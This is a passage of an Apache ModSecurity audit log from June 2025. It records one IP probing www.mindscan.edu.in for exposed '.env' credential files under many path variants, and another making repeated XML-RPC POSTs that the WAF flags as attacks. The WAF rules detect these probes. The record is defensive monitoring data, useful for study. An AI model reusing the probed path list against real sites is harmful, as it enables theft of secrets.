(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7e96db4e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=574ccce031ddc05161e6e9389eab38cc1750036404; expires=Mon, 16 Jun 2025 02:13:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7e96db4e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/frontend/.env"] [unique_id "aE9vtPvF1ly0gx5reNl_bwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036404063660 866348 (- - -) Stopwatch2: 1750036404063660 866348; combined=1968, p1=386, p2=1490, p3=0, p4=0, p5=92, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7e96db4e-Z-- --62574001-A-- [16/Jun/2025:06:43:25.965141 +0530] aE9vtSjGWJGnLoYuHM0eqQAAAAY 185.177.72.210 52568 127.0.0.1 7081 --62574001-B-- GET /:8000/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --62574001-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aeab8e2d57f5bd144207ac8e867bb8501750036405; expires=Mon, 16 Jun 2025 02:13:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --62574001-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.save.1"] [unique_id "aE9vtSjGWJGnLoYuHM0eqQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036405257292 707912 (- - -) Stopwatch2: 1750036405257292 707912; combined=5552, p1=389, p2=5065, p3=0, p4=0, p5=97, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --62574001-Z-- --c00f7d67-A-- [16/Jun/2025:06:43:27.262470 +0530] aE9vtokQyF8-ounHsxsDdwAAAA8 128.199.112.101 52650 127.0.0.1 7081 --c00f7d67-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c00f7d67-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c00f7d67-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9vtokQyF8-ounHsxsDdwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036406288742 973782 (- - -) Stopwatch2: 1750036406288742 973782; combined=2370, p1=375, p2=1578, p3=46, p4=60, p5=196, sr=110, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c00f7d67-Z-- --90830872-A-- [16/Jun/2025:06:43:34.899680 +0530] aE9vvg9THibLN0xLxET1cQAAAAk 185.177.72.210 34870 127.0.0.1 7081 --90830872-B-- GET /:10000/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --90830872-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6e6b023c8c02c3dc50125cdb25759f3e1750036414; expires=Mon, 16 Jun 2025 02:13:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --90830872-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/data/.env"] [unique_id "aE9vvg9THibLN0xLxET1cQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036414192757 706985 (- - -) Stopwatch2: 1750036414192757 706985; combined=1676, p1=359, p2=1236, p3=0, p4=0, p5=80, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --90830872-Z-- --1a0c672b-A-- [16/Jun/2025:06:43:48.311837 +0530] aE9vy_vF1ly0gx5reNl_fgAAAAE 185.177.72.210 55726 127.0.0.1 7081 --1a0c672b-B-- GET /:8880/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1a0c672b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a8bae702d14e22c17de1d041070922fa1750036428; expires=Mon, 16 Jun 2025 02:13:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1a0c672b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.dist"] [unique_id "aE9vy_vF1ly0gx5reNl_fgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036427655374 656525 (- - -) Stopwatch2: 1750036427655374 656525; combined=1744, p1=375, p2=1275, p3=0, p4=0, p5=94, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1a0c672b-Z-- --2cfc7d71-A-- [16/Jun/2025:06:44:00.301308 +0530] aE9v14kQyF8-ounHsxsDlgAAAA8 185.177.72.210 39778 127.0.0.1 7081 --2cfc7d71-B-- GET /:8880/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2cfc7d71-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=38bec2d7ef67c209ead536839d90bd861750036440; expires=Mon, 16 Jun 2025 02:14:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2cfc7d71-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.docker/.env"] [unique_id "aE9v14kQyF8-ounHsxsDlgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036439610338 691034 (- - -) Stopwatch2: 1750036439610338 691034; combined=1800, p1=371, p2=1341, p3=0, p4=0, p5=88, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2cfc7d71-Z-- --3f25d832-A-- [16/Jun/2025:06:44:15.198004 +0530] aE9v5ijGWJGnLoYuHM0ewwAAAAY 185.177.72.210 57126 127.0.0.1 7081 --3f25d832-B-- GET /:8000/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3f25d832-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ba6a3de8f6f40ba7f492b2f147ca1b961750036455; expires=Mon, 16 Jun 2025 02:14:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3f25d832-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env_hidden"] [unique_id "aE9v5ijGWJGnLoYuHM0ewwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036454526543 671535 (- - -) Stopwatch2: 1750036454526543 671535; combined=1975, p1=402, p2=1484, p3=0, p4=0, p5=88, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3f25d832-Z-- --a6ed635a-A-- [16/Jun/2025:06:44:28.071320 +0530] aE9v8_v_9qNKLXJRkuZcJQAAAAs 128.199.112.101 56018 127.0.0.1 7081 --a6ed635a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a6ed635a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a6ed635a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9v8_v_9qNKLXJRkuZcJQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036467091480 979895 (- - -) Stopwatch2: 1750036467091480 979895; combined=2445, p1=374, p2=1500, p3=44, p4=64, p5=269, sr=103, sw=194, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6ed635a-Z-- --9ed0ff79-A-- [16/Jun/2025:06:45:25.273124 +0530] aE9wLOhCUAahT1nBjTYMHAAAAAM 185.177.72.210 39140 127.0.0.1 7081 --9ed0ff79-B-- GET /finalVersion/lcomernbootcamp/projbackend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9ed0ff79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5cd7d8ded4409dfd8104b2110d453ac01750036525; expires=Mon, 16 Jun 2025 02:15:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9ed0ff79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/finalVersion/lcomernbootcamp/projbackend/.env"] [unique_id "aE9wLOhCUAahT1nBjTYMHAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036524517522 755702 (- - -) Stopwatch2: 1750036524517522 755702; combined=2011, p1=377, p2=1506, p3=0, p4=0, p5=128, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9ed0ff79-Z-- --27260c69-A-- [16/Jun/2025:06:45:28.842790 +0530] aE9wL-Mjvy_LHXlMeRAQeQAAAAU 128.199.112.101 39298 127.0.0.1 7081 --27260c69-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --27260c69-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --27260c69-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9wL-Mjvy_LHXlMeRAQeQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036527786031 1056839 (- - -) Stopwatch2: 1750036527786031 1056839; combined=2373, p1=359, p2=1603, p3=44, p4=63, p5=188, sr=92, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --27260c69-Z-- --b94b5d27-A-- [16/Jun/2025:06:45:33.845836 +0530] aE9wNehCUAahT1nBjTYMHwAAAAM 185.177.72.210 58616 127.0.0.1 7081 --b94b5d27-B-- GET /:8080/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b94b5d27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ceec99759e010a47662bf54eb25ffbc91750036533; expires=Mon, 16 Jun 2025 02:15:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b94b5d27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/example/.env"] [unique_id "aE9wNehCUAahT1nBjTYMHwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036533152103 693798 (- - -) Stopwatch2: 1750036533152103 693798; combined=1982, p1=424, p2=1463, p3=0, p4=0, p5=95, sr=124, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b94b5d27-Z-- --55e7b973-A-- [16/Jun/2025:06:45:34.829690 +0530] aE9wNroFnONBt7jRcBySsQAAAA4 185.177.72.210 58676 127.0.0.1 7081 --55e7b973-B-- GET /fixtures/flight/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --55e7b973-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e08226eed8aadc4b538b9628b51ffd7a1750036534; expires=Mon, 16 Jun 2025 02:15:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --55e7b973-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fixtures/flight/.env"] [unique_id "aE9wNroFnONBt7jRcBySsQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036534176073 653706 (- - -) Stopwatch2: 1750036534176073 653706; combined=2033, p1=409, p2=1523, p3=0, p4=0, p5=101, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55e7b973-Z-- --3e5fc444-A-- [16/Jun/2025:06:45:35.856819 +0530] aE9wN-Mjvy_LHXlMeRAQfAAAAAU 185.177.72.210 58704 127.0.0.1 7081 --3e5fc444-B-- GET /minified/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e5fc444-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3367ac4c54313edaea345813da83bdf81750036535; expires=Mon, 16 Jun 2025 02:15:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e5fc444-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/minified/.env"] [unique_id "aE9wN-Mjvy_LHXlMeRAQfAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036535194651 662232 (- - -) Stopwatch2: 1750036535194651 662232; combined=1722, p1=356, p2=1266, p3=0, p4=0, p5=99, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e5fc444-Z-- --25514d3c-A-- [16/Jun/2025:06:45:36.866666 +0530] aE9wOJ16HYQp4eDf7R1a-wAAAAI 185.177.72.210 58740 127.0.0.1 7081 --25514d3c-B-- GET /:8888/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --25514d3c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=01e510e7e9c366f7b82d41a81669cb461750036536; expires=Mon, 16 Jun 2025 02:15:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --25514d3c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/local/.env"] [unique_id "aE9wOJ16HYQp4eDf7R1a-wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036536187201 679527 (- - -) Stopwatch2: 1750036536187201 679527; combined=2145, p1=435, p2=1621, p3=0, p4=0, p5=88, 